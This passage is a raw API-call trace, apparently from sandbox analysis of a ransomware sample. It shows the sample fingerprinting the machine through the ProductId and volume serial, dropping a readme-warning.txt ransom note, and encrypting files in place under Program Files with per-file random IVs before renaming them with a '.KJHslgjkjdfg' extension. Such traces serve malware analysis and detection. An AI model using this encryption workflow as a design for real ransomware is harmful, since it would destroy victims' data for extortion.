(HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0173.131] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0173.131] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0173.131] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.131] GetProcessHeap () returned 0x990000 [0173.131] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0173.131] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0173.131] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0173.132] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.132] GetProcessHeap () returned 0x990000 [0173.132] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0173.132] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0173.132] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0173.132] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.132] GetProcessHeap () returned 0x990000 [0173.132] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0173.132] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0173.132] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0173.132] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.132] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0173.132] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0173.133] RegCloseKey (hKey=0x12c) returned 0x0 [0173.133] GetProcessHeap () returned 0x990000 [0173.133] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0173.133] GetProcessHeap () returned 0x990000 [0173.133] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0173.133] GetProcessHeap () returned 0x990000 [0173.133] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0173.133] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0173.133] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0173.133] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.133] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0173.133] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0173.133] GetProcessHeap () returned 0x990000 [0173.133] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0173.133] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0173.134] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0173.134] GetProcessHeap () returned 0x990000 [0173.134] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0173.134] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\readme-warning.txt") returned 81 [0173.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.135] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0173.136] CloseHandle (hObject=0x12c) returned 1 [0173.137] GetProcessHeap () returned 0x990000 [0173.137] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0173.137] GetProcessHeap () returned 0x990000 [0173.137] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0173.137] GetProcessHeap () returned 0x990000 [0173.137] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0173.137] GetProcessHeap () returned 0x990000 [0173.137] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0173.137] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0173.137] GetProcessHeap () returned 0x990000 [0173.137] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0173.137] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0173.137] GetProcessHeap () returned 0x990000 [0173.137] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8c) returned 0x9b0940 [0173.137] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0173.138] GetProcessHeap () returned 0x990000 [0173.138] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0173.138] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0173.138] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0173.138] GetProcessHeap () returned 0x990000 [0173.138] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28e) returned 0x9b1eb0 [0173.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.139] GetProcessHeap () returned 0x990000 [0173.139] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0173.139] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0173.139] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0173.139] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0173.142] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.142] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.142] GetProcessHeap () returned 0x990000 [0173.142] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0173.142] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0173.142] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.143] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0173.143] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0173.143] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0173.143] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0173.143] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0173.143] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0173.143] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.143] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.143] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.143] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe2ec, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xe2ec, lpOverlapped=0x0) returned 1 [0173.145] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xe2f0, dwBufLen=0xe2f0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xe2f0) returned 1 [0173.146] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.146] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe2f0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xe2f0, lpOverlapped=0x0) returned 1 [0173.146] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.146] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xe3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.146] SetEndOfFile (hFile=0x12c) returned 1 [0173.149] GetProcessHeap () returned 0x990000 [0173.149] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0173.149] GetProcessHeap () returned 0x990000 [0173.149] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0173.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm.kjhslgjkjdfg")) returned 1 [0173.150] CloseHandle (hObject=0x12c) returned 1 [0173.150] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0173.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.151] GetProcessHeap () returned 0x990000 [0173.151] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0173.151] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0173.151] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0173.151] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x2, lpOverlapped=0x0) returned 1 [0173.153] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.153] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.153] GetProcessHeap () returned 0x990000 [0173.153] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0173.153] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0173.153] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.153] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0173.153] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0173.153] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0173.154] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0173.154] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0173.154] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0173.154] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.154] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.154] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.154] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x20e, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x20e, lpOverlapped=0x0) returned 1 [0173.154] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x210, dwBufLen=0x210 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x210) returned 1 [0173.154] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.154] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x210, lpOverlapped=0x0) returned 1 [0173.154] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.155] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.155] SetEndOfFile (hFile=0x12c) returned 1 [0173.157] GetProcessHeap () returned 0x990000 [0173.157] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0173.157] GetProcessHeap () returned 0x990000 [0173.157] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0173.158] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf.kjhslgjkjdfg")) returned 1 [0173.164] CloseHandle (hObject=0x12c) returned 1 [0173.165] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0173.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.166] GetProcessHeap () returned 0x990000 [0173.166] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0173.166] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0173.166] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0173.166] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0173.169] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.169] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.169] GetProcessHeap () returned 0x990000 [0173.169] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0173.169] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0173.169] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.169] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0173.169] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0173.170] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0173.170] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0173.170] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0173.170] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0173.170] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.170] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.170] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.170] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x563, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x563, lpOverlapped=0x0) returned 1 [0173.170] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x570, dwBufLen=0x570 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x570) returned 1 [0173.170] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.170] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x570, lpOverlapped=0x0) returned 1 [0173.170] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.170] SetFilePointerEx (in: 